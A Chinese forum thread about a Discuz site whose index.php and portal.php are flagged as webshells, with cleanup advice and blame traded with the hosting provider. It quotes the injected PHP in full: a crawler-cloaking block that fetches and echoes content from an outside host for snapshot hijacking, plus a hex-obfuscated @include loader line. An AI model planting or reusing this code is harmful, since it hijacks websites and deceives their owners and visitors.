两个文件总是提示为WEBSHELL
警告 index.php文件为webshell；警告 portal.php文件为webshell；官方文件刚替换查杀也提示。后台检测也没有文件被修改。 若存在，处理前，先卸载所有盗版插件与模版。进discuz后台找到工具-文件校验，看下最近有哪些php文件被修改了。
1、排查网站源文件的php 文件，查看是否有出现IP地址、或者异常网站（上面跳转的网站），如果有删除就可以了。
2、排查网站源文件的php 文件，查看是否有如下代码：@include($_SERVER['DOCUMENT_ROOT']
（排查一般用WEBshell后门扫描软件扫描核查！）
如果有就删除此段代码。并把该段代码进行解密。
举例：@include($_SERVER['DOCUMENT_ROOT'].PACK('H*','2F646174612F6176617461722F30'));
需要解密的代码为：2F646174612F6176617461722F30
解密后为：/data/avatar/0
代码解密地址：http://www.bejson.com/convert/ox2str/
意思就是在上述路径下存在被非法上传的文件，用于做快照劫持。
解决办法：删除上面的代码和文件即可。
挂马问题解决了后，记得更改服务器相关的各种密码，尽量设置的复杂一点。 <?php
header('Content-Type:text/html;charset=gb2312');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,strtolower('HaosouSpider'))!== false||strpos($key,strtolower('baidu'))!== false||strpos($key,strtolower('Yisou'))!== false||strpos($key,strtolower('Sogou'))!== false||strpos($key,strtolower('YisouSpider'))!== false||strpos($key,strtolower('360Spider'))!== false||strpos($key,strtolower('Baiduspide'))!== false||strpos($key,strtolower('Soso'))!== false||strpos($key,strtolower('Yahoo'))!== false||strpos($key,strtolower('bingbot'))!== false )
{
date_default_timezone_set('PRC');
$TD_server = "http://www.hack163.com/shou/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);
echo $Content_mb;
}
?>
在这几个文件中加入了这样一段代码。 打开看看 是否被改了 对比官方文件 典型的挂马了 空间商技术人员说是DZ程序漏洞，被注入。 我可以反过来说 空间商空间有漏洞被注入了吗
空间商甩锅啊 要解决 而不是推卸责任 不负责任空间，及早备份搬家去。 crx349 发表于 2020-9-28 11:39
我可以反过来说 空间商空间有漏洞被注入了吗
空间商甩锅啊 要解决 而不是推卸责任 ...
真不怪空间商，说白了你就是用盗版插件或者模板造成的
页:
[1]
